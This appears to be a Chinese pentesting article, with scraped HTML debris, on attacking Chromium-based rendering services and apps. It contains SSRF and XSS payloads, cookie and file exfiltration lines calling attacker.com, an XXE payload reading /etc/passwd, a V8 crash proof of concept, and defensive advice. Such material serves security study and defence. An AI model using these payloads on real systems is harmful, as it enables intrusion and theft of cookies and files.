Chrome内核浏览器在攻防中的应用深度解析<\/h1>

一、Chrome内核应用场景概述<\/h2>

Chrome内核（Chromium）因其高性能和跨平台特性，被广泛应用于多种业务场景：<\/p>

网页截图服务<\/strong>：将HTML内容渲染为图片<\/li>
客户端内置浏览器<\/strong>：如钉钉、微信等应用内置浏览器<\/li>
Electron应用<\/strong>：VS Code、Slack等桌面应用<\/li>
自动化测试工具<\/strong>：Playwright、Puppeteer等<\/li>

网页转PDF\/图片服务<\/strong><\/li> <\/ol>
二、典型漏洞场景分析<\/h2>
场景一：HTML转图片服务漏洞<\/h3>
常见实现方式<\/h4>
from<\/span> fastapi import<\/span> FastAPI <\/span><\/span>from<\/span> playwright.async_api import<\/span> async_playwright <\/span><\/span> <\/span><\/span>app =<\/span> FastAPI() <\/span><\/span>BROWSER =<\/span> None<\/span> <\/span><\/span> <\/span><\/span>@app<\/span>.<\/span>on_event("startup"<\/span>) <\/span><\/span>async<\/span> def<\/span> startup_event<\/span>(): <\/span><\/span> global<\/span> BROWSER <\/span><\/span> playwright =<\/span> await<\/span> async_playwright().<\/span>start() <\/span><\/span> BROWSER =<\/span> await<\/span> playwright.<\/span>chromium.<\/span>launch( <\/span><\/span> args=<\/span>['--disable-gpu'<\/span>, '--no-sandbox'<\/span>, '--disable-dev-shm-usage'<\/span>] <\/span><\/span> ) <\/span><\/span> <\/span><\/span>@app<\/span>.<\/span>post("\/generate-poster"<\/span>) <\/span><\/span>async<\/span> def<\/span> generate_poster<\/span>(html_content: str): <\/span><\/span> context =<\/span> await<\/span> BROWSER.<\/span>new_context(java_script_enabled=<\/span>True<\/span>) <\/span><\/span> page =<\/span> await<\/span> context.<\/span>new_page() <\/span><\/span> await<\/span> page.<\/span>set_content(html_content) <\/span><\/span> screenshot =<\/span> await<\/span> page.<\/span>screenshot(type=<\/span>"jpeg"<\/span>) <\/span><\/span> return<\/span> screenshot <\/span><\/span><\/code><\/pre>攻击面分析<\/h4> XSS转SSRF<\/strong><\/p> 通过注入JavaScript脚本实现内网探测<\/li> 示例Payload： { <\/span><\/span> "html_str"<\/span>: "<script>(async()=>{const r=await fetch('http:\/\/192.168.1.1');document.body.innerHTML=await r.text();})();<\/script>"<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> <\/ul> <\/li> 协议滥用<\/strong><\/p> file:\/\/<\/code>协议读取本地文件<\/li> javascript:<\/code>伪协议绕过限制 javascript:\/\/www.baidu.com\/%250Aalert(1);\/ <\/code><\/pre> <\/li> <\/ul> <\/li> Meta标签跳转<\/strong><\/p> <meta<\/span> http-equiv<\/span>=<\/span>"refresh"<\/span> content<\/span>=<\/span>"0; url=http:\/\/192.168.1.1\/"<\/span> \/> <\/span><\/span><\/code><\/pre><\/li> 域名校验绕过技巧<\/strong><\/p> 泛解析绕过：https:\/\/www.work.com.attacker.com<\/code><\/li> 反斜杠特性：https:\/\/attacker.com\.www.work.com<\/code><\/li> <\/ul> <\/li> <\/ol> 场景二：部分可控HTML渲染<\/h3> 当只能控制部分内容（如头像、介绍等）时：<\/p> 探测技巧<\/strong><\/p> <h1>test<\/h1><\/code>测试HTML注入<\/li> ``测试JS执行<\/li> <\/ul> <\/li> 无回显SSRF<\/strong><\/p> <\/span><\/span><\/code><\/pre><\/li> 带外数据回传<\/strong><\/p> fetch<\/span>('http:\/\/attacker.com\/?data='<\/span>+<\/span>btoa<\/span>(document.cookie<\/span>)) <\/span><\/span><\/code><\/pre><\/li> <\/ol> 三、Chrome内核漏洞利用<\/h2> 1. 版本信息收集<\/h3> 方法一：User-Agent探测<\/strong><\/p> <script<\/span>>document.write<\/span>(navigator<\/span>.userAgent<\/span>);<\/script<\/span>> <\/span><\/span><\/code><\/pre>方法二：通过API日志查看<\/strong><\/p> 2. 经典RCE漏洞利用<\/h3> CVE-2020-6507 (Chrome <83.0.4103.106)<\/h4> 漏洞类型<\/strong>：V8 Turbofan编译器优化错误导致越界写入<\/li> 利用条件<\/strong>：需配合沙箱逃逸<\/li> 关键点<\/strong>：构造超长数组(>67108862)<\/li> 误导编译器移除边界检查<\/li> 篡改相邻数组长度实现内存破坏<\/li> <\/ul> <\/li> <\/ul> CVE-2024-0517 (Chrome <120.0.6099.224)<\/h4> 漏洞类型<\/strong>：继承类构造函数中的堆破坏<\/li> POC<\/strong>：<\/li> <\/ul> class<\/span> ClassParent<\/span> {} <\/span><\/span>class<\/span> ClassBug<\/span> extends<\/span> ClassParent<\/span> { <\/span><\/span> constructor<\/span>() { <\/span><\/span> const<\/span> v24<\/span> =<\/span> new<\/span> new<\/span>.target<\/span>(); <\/span><\/span> super<\/span>(); <\/span><\/span> let<\/span> a<\/span> =<\/span> [9.9<\/span>,9.9<\/span>,9.9<\/span>,1.1<\/span>,1.1<\/span>,1.1<\/span>,1.1<\/span>,1.1<\/span>]; <\/span><\/span> } <\/span><\/span> [1000<\/span>] =<\/span> 8<\/span>; <\/span><\/span>} <\/span><\/span>for<\/span> (let<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 300<\/span>; i<\/span>++<\/span>) { <\/span><\/span> Reflect<\/span>.construct<\/span>(ClassBug<\/span>, [], ClassParent<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>3. XXE漏洞利用(CVE-2023-4357)<\/h3> 影响版本<\/strong>：Chrome <116.0.5845.96<\/p> 直接SVG利用<\/h4> <?xml version="1.0"?><\/span> <\/span><\/span><?xml-stylesheet type="text\/xsl" href="?#"?><\/span> <\/span><\/span><!ENTITY passwd SYSTEM "file:\/\/\/etc\/passwd"><\/span> <\/span><\/span><xsl:stylesheet<\/span> version=<\/span>"1.0"<\/span> xmlns:xsl=<\/span>"http:\/\/www.w3.org\/1999\/XSL\/Transform"<\/span>><\/span> <\/span><\/span> <xsl:template<\/span> match=<\/span>"\/"<\/span>><\/span> <\/span><\/span> <xsl:copy-of<\/span> select=<\/span>"document('')"<\/span>\/><\/span> <\/span><\/span> <body<\/span> xmlns=<\/span>"http:\/\/www.w3.org\/1999\/xhtml"<\/span>><\/span> <\/span><\/span> <div><\/span>&passwd;<\/div><\/span> <\/span><\/span> <\/body><\/span> <\/span><\/span> <\/xsl:template><\/span> <\/span><\/span><\/xsl:stylesheet><\/span> <\/span><\/span><\/code><\/pre>带外数据外传<\/h4> <!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http:\/\/attacker.com\/?data=%file;'><\/span>"> <\/span><\/span>%exfiltrate; <\/span><\/span><\/code><\/pre>HTML嵌套利用技巧<\/h4> { <\/span><\/span> "content"<\/span>: "<object type='image\/svg+xml' data='data:image\/svg+xml;base64,[BASE64_PAYLOAD]'>"<\/span>, <\/span><\/span> "width"<\/span>: 500<\/span>, <\/span><\/span> "height"<\/span>: 1000<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre>四、防御建议<\/h2> 输入验证<\/strong><\/p> 严格限制HTML内容大小(如<1MB)<\/li> 禁用危险标签(script<\/code>, meta<\/code>, object<\/code>等)<\/li> 使用白名单过滤HTML标签和属性<\/li> <\/ul> <\/li> 浏览器配置<\/strong><\/p> context =<\/span> await<\/span> BROWSER.<\/span>new_context( <\/span><\/span> java_script_enabled=<\/span>False<\/span>, # 禁用JS<\/span> <\/span><\/span> bypass_csp=<\/span>False<\/span>, <\/span><\/span> ignore_https_errors=<\/span>False<\/span> <\/span><\/span>) <\/span><\/span><\/code><\/pre><\/li> 安全策略<\/strong><\/p> 启用沙箱模式(--no-sandbox<\/code>应避免使用)<\/li> 设置严格CSP策略 <meta<\/span> http-equiv<\/span>=<\/span>"Content-Security-Policy"<\/span> <\/span><\/span> content<\/span>=<\/span>"default-src 'self'; script-src 'none'"<\/span>> <\/span><\/span><\/code><\/pre><\/li> <\/ul> <\/li> 网络限制<\/strong><\/p> 禁止访问内网IP段<\/li> 限制允许的协议(禁用file:\/\/, javascript:等)<\/li> <\/ul> <\/li> 更新维护<\/strong><\/p> 定期更新Chromium内核版本<\/li> 监控CVE公告并及时修补<\/li> <\/ul> <\/li> <\/ol> 五、实战技巧总结<\/h2> 迂回探测<\/strong>：当直接注入被过滤时，尝试通过合法功能间接引入恶意代码<\/li> 协议探测<\/strong>：测试file:\/\/, ftp:\/\/, javascript:等协议是否可用<\/li> 错误利用<\/strong>：通过触发错误信息泄露获取敏感数据<\/li> 组合利用<\/strong>：将XSS与SSRF结合，突破网络限制<\/li> 客户端定位<\/strong>：重点测试Electron应用、客户端内置浏览器等更新不及时的场景<\/li> <\/ol> 通过深入理解Chrome内核在各种场景中的应用方式及其安全特性，攻击者可以发掘更多攻击面，防御者也能更有针对性地构建防护措施。<\/p>